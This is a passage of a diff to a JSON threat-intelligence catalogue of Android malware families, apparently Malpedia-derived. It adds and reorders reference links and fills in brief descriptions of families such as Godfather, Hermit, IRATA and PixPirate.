"description": "According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims\u2019 credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.fluhorse", + "https://www.fortinet.com/blog/threat-research/fortinet-reverses-flutter-based-android-malware-fluhorse", + "https://cryptax.medium.com/inside-kangapack-the-kangaroo-packer-with-native-decryption-3e7e054679c4", "https://research.checkpoint.com/2023/eastern-asian-android-assault-fluhorse/" ], "synonyms": [], @@ -1362,13 +1409,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball", + "https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/", + "https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf", + "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program", + "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", "https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html", "https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/", - "https://www.bleepingcomputer.com/news/security/hacking-group-updates-furball-android-spyware-to-evade-detection/", - "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", - "https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf", - "https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/", - "https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program" + "https://www.bleepingcomputer.com/news/security/hacking-group-updates-furball-android-spyware-to-evade-detection/" ], "synonyms": [], "type": [] @@ -1381,8 +1428,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.geost", - "https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/", - "https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/" + "https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/", + "https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/" ], "synonyms": [], "type": [] @@ -1421,6 +1468,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gigabud", + "https://www.group-ib.com/blog/gigabud-banking-malware/", "https://blog.cyble.com/2023/01/19/gigabud-rat-new-android-rat-masquerading-as-government-agencies/" ], "synonyms": [], @@ -1434,13 +1482,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp", - "https://twitter.com/ESETresearch/status/1269945115738542080", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html", - "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/", + "https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/", "https://muha2xmad.github.io/malware-analysis/ginp/", "https://www.youtube.com/watch?v=WeL_xSryj8E", - "https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/" + "https://twitter.com/ESETresearch/status/1269945115738542080", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/", + "https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html" ], "synonyms": [], "type": [] @@ -1453,10 +1501,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove", - "https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/", + "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773", "https://www.clearskysec.com/glancelove/", - "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/", - "https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773" + "https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/", + "https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/" ], "synonyms": [], "type": [] @@ -1491,10 +1539,11 @@ "value": "GoatRAT" }, { - "description": "According to PCrisk, GodFather is the name of an Android malware targeting online banking pages and cryptocurrency exchanges in 16 countries. It opens fake login windows over legitimate applications. Threat actors use GodFather to steal account credentials. Additionally, GodFather can steal SMSs, device information, and other data.", + "description": "According to PCrisk, Godfather is the name of an Android malware targeting online banking pages and cryptocurrency exchanges in 16 countries. It opens fake login windows over legitimate applications. Threat actors use Godfather to steal account credentials. Additionally, Godfather can steal SMSs, device information, and other data.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.godfather", + "https://brandefense.io/blog/godfather-android-banking-trojan/", "https://muha2xmad.github.io/malware-analysis/godfather/", "https://blog.group-ib.com/godfather-trojan" ], @@ -1535,8 +1584,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.goontact", - "https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/", - "https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail" + "https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail", + "https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/" ], "synonyms": [], "type": [] @@ -1589,12 +1638,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff", - "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", "https://blog.talosintelligence.com/2019/10/gustuffv2.html", "https://www.group-ib.com/media/gustuff/", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html" + "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html" ], "synonyms": [], "type": [] @@ -1607,9 +1656,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hardrain", - "https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990", + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", "https://unit42.paloaltonetworks.com/unit42-operation-blockbuster-goes-mobile/", - "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + "https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990" ], "synonyms": [], "type": [] @@ -1622,8 +1671,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw", - "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/", - "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw" + "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw", + "https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/" ], "synonyms": [], "type": [] @@ -1647,13 +1696,13 @@ "value": "HenBox" }, { - "description": "", + "description": "Lookout states that Hermit is an advanced spyware designed to target iOS and Android mobile devices. It is designed to collect extensive amounts of sensitive data on its victims such as their location, contacts, private messages, photos, call logs, phone conversations, ambient audio recordings, and more.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hermit", "https://de.lookout.com/blog/hermit-spyware-discovery", - "https://www.lighthousereports.nl/investigation/revealing-europes-nso", - "https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/" + "https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/", + "https://www.lighthousereports.nl/investigation/revealing-europes-nso" ], "synonyms": [], "type": [] @@ -1679,11 +1728,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hiddenad", + "https://twitter.com/LukasStefanko/status/1136568939239137280", + "https://securelist.com/mobile-malware-evolution-2019/96280/", "https://labs.bitdefender.com/2020/03/infected-zoom-apps-for-android-target-work-from-home-users", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://twitter.com/LukasStefanko/status/1136568939239137280" + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [], "type": [] @@ -1709,8 +1758,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hook", - "https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware", - "https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities.html" + "https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities.html", + "https://github.com/0xperator/hookbot_source", + "https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware" ], "synonyms": [], "type": [] @@ -1723,17 +1773,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra", - "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://twitter.com/muha2xmad/status/1570788983474638849", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/", - "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", - "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", - "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", - "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", - "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", "https://muha2xmad.github.io/malware-analysis/hydra/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://twitter.com/muha2xmad/status/1570788983474638849", + "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", + "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", + "https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0", "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", + "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", + "https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/", "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726" ], "synonyms": [], @@ -1759,13 +1810,13 @@ "value": "IPStorm (Android)" }, { - "description": "", + "description": "According to redpiranha, IRATA (Iranian Remote Access Trojan) Android Malware is a new malware detected in the wild. It originates from a phishing attack through SMS. The theme of the message resembles information coming from the government that will ask you to download this malicious application. IRATA can collect sensitive information from your mobile phone including bank details. Since it infects your mobile, it can also gather your SMS messages which then can be used to obtain 2FA tokens.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata", - "https://onecert.ir/portal/blog/irata", "https://twitter.com/muha2xmad/status/1562831996078157826", - "https://muha2xmad.github.io/malware-analysis/irata/" + "https://muha2xmad.github.io/malware-analysis/irata/", + "https://onecert.ir/portal/blog/irata" ], "synonyms": [], "type": [] @@ -1800,22 +1851,22 @@ "value": "JadeRAT" }, { - "description": "Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google’s official app store with the help of its trail signatures which includes updating the virus’s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users’ personal information including contact details, device data, WAP services, and SMS messages.", + "description": "Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google\u2019s official app store with the help of its trail signatures which includes updating the virus\u2019s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users\u2019 personal information including contact details, device data, WAP services, and SMS messages.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.joker", - "https://research.checkpoint.com/2020/new-joker-variant-hits-google-play-with-an-old-trick/", - "https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/", - "https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1", - "https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/", - "https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/", - "https://labs.k7computing.com/?p=22199", "https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451", - "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", + "https://muha2xmad.github.io/malware-analysis/hydra/", "https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks--using-github-to-hide-its-payload.html", + "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", + "https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/", "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://research.checkpoint.com/2020/new-joker-variant-hits-google-play-with-an-old-trick/", + "https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1", + "https://labs.k7computing.com/?p=22199", "https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2", - "https://muha2xmad.github.io/malware-analysis/hydra/" + "https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/", + "https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/" ], "synonyms": [ "Bread" @@ -1830,9 +1881,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/", - "https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html" + "https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf" ], "synonyms": [], "type": [] @@ -1840,6 +1891,24 @@ "uuid": "1e1924b5-89cb-408b-bcee-d6aaef7b24e0", "value": "KevDroid" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.knspy", + "https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html", + "https://blog.talosintelligence.com/2020/10/donot-firestarter.html", + "https://twitter.com/voodoodahl1/status/1267571622732578816", + "https://s.tencent.com/research/report/951.html", + "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/", + "https://community.riskiq.com/article/6f60db72" + ], + "synonyms": [], + "type": [] + }, + "uuid": "084ebca7-91da-4d9c-8211-a18f358ac28b", + "value": "KnSpy" + }, { "description": "", "meta": { @@ -1871,9 +1940,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-The-Kitten-That-Charmed-Me-The-9-Lives-Of-A-Nation-State-Attacker.pdf", "https://www.youtube.com/watch?v=nilzxS9rxEM", "https://twitter.com/malwrhunterteam/status/1337684036374945792", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-The-Kitten-That-Charmed-Me-The-9-Lives-Of-A-Nation-State-Attacker.pdf", "https://securityintelligence.com/posts/itg18-operational-security-errors-plague-iranian-threat-group/" ], "synonyms": [], @@ -1900,13 +1969,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot", - "https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "https://muha2xmad.github.io/mal-document/lokibotpdf/", - "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", - "https://isc.sans.edu/diary/27282", "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html", - "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/" + "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", + "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://muha2xmad.github.io/mal-document/lokibotpdf/", + "https://securelist.com/emotet-darkgate-lokibot-crimeware-report/110286/", + "https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf", + "https://isc.sans.edu/diary/27282" ], "synonyms": [], "type": [] @@ -1945,8 +2015,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher", - "https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware", "https://www.clientsidedetection.com/exobot_v2_update___staying_ahead_of_the_competition.html", + "https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware", "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [ @@ -1958,7 +2028,7 @@ "value": "Marcher" }, { - "description": "", + "description": "According to heimdal, MasterFred malware, this is designed as an Android trojan that makes use of false login overlays to target not only Netflix, Instagram, and Twitter users, but also bank customers. The hackers\u2019 goal is to steal credit card information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.masterfred", @@ -1977,8 +2047,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot", - "https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html", - "https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/" + "https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/", + "https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html" ], "synonyms": [], "type": [] @@ -1991,8 +2061,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa", - "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", "https://twitter.com/ThreatFabric/status/1285144962695340032" ], "synonyms": [ @@ -2008,9 +2078,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter", + "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", "https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe", "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", - "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", "https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12" ], "synonyms": [], @@ -2050,23 +2120,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao", - "https://www.team-cymru.com/post/moqhao-part-3-recent-global-targeting-trends", - "https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html", - "https://www.telekom.com/en/blog/group/article/moqhao-masters-new-tricks-1031484", - "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", - "https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/", - "https://securelist.com/roaming-mantis-dns-changer-in-malicious-mobile-app/108464/", - "https://www.xanhacks.xyz/p/moqhao-malware-analysis", - "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", - "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", - "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", - "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", - "https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/", - "https://securelist.com/roaming-mantis-part-v/96250/", "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", - "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf" + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", + "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", + "https://securelist.com/roaming-mantis-part-v/96250/", + "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", + "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", + "https://www.team-cymru.com/post/moqhao-part-3-recent-global-targeting-trends", + "https://www.xanhacks.xyz/p/moqhao-malware-analysis", + "https://securelist.com/roaming-mantis-dns-changer-in-malicious-mobile-app/108464/", + "https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/", + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", + "https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/", + "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", + "https://www.telekom.com/en/blog/group/article/moqhao-masters-new-tricks-1031484", + "https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", + "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html" ], "synonyms": [ "Shaoye", @@ -2122,8 +2192,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat", - "https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co", "https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/", + "https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co", "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Android.OmniRAT" ], "synonyms": [], @@ -2166,12 +2236,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.phantomlance", - "https://drive.google.com/file/d/1m0Qg8e1Len1My6ssDy6F0oQ7JdkJUkuu/view", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/mobile-malware-report.pdf", "https://securelist.com/it-threat-evolution-q2-2020/98230", "https://securelist.com/apt-phantomlance/96772/", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/mobile-malware-report.pdf", - "https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html" + "https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html", + "https://drive.google.com/file/d/1m0Qg8e1Len1My6ssDy6F0oQ7JdkJUkuu/view" ], "synonyms": [ "PWNDROID1" @@ -2208,7 +2278,7 @@ "value": "PINEFLOWER" }, { - "description": "", + "description": "According to PCrisk, The PixPirate is a dangerous Android banking Trojan that has the capability to carry out ATS (Automatic Transfer System) attacks. This allows threat actors to automatically transfer funds through the Pix Instant Payment platform, which numerous Brazilian banks use.\r\n\r\nIn addition to launching ATS attacks, PixPirate can intercept and delete SMS messages, prevent the uninstallation process, and carry out malvertising attacks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixpirate", @@ -2241,9 +2311,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pjobrat", + "https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ", "https://cybleinc.com/2021/06/22/android-application-disguised-as-dating-app-targets-indian-military-personnel/", - "https://labs.k7computing.com/?p=22537", - "https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ" + "https://labs.k7computing.com/?p=22537" ], "synonyms": [], "type": [] @@ -2403,12 +2473,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe", - "http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/", - "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html", "http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html", + "http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/", + "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html", + "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html", "http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html", - "https://www.govcert.admin.ch/blog/33/the-retefe-saga", - "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html" + "https://www.govcert.admin.ch/blog/33/the-retefe-saga" ], "synonyms": [], "type": [] @@ -2417,7 +2487,7 @@ "value": "Retefe (Android)" }, { - "description": "", + "description": "According to PCrisk, Revive is the name of a banking Trojan targeting Android users (customers of a specific Spanish bank). It steals sensitive information. Cybercriminals use Revive to take ownership of online accounts using stolen login credentials. This malware abuses Accessibility Services to perform malicious activities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.revive", @@ -2448,12 +2518,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis", - "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/", - "https://securelist.com/roaming-mantis-reaches-europe/105596/", + "https://securelist.com/roaming-mantis-part-v/96250/", "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", "https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/", - "https://securelist.com/roaming-mantis-part-v/96250/", - "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf" + "https://securelist.com/roaming-mantis-reaches-europe/105596/", + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", + "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/" ], "synonyms": [], "type": [] @@ -2506,13 +2576,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot", - "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/", - "https://muha2xmad.github.io/malware-analysis/sharkbot/", - "https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/", - "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", - "https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe", "https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", + "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/", + "https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf", + "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", + "https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/", + 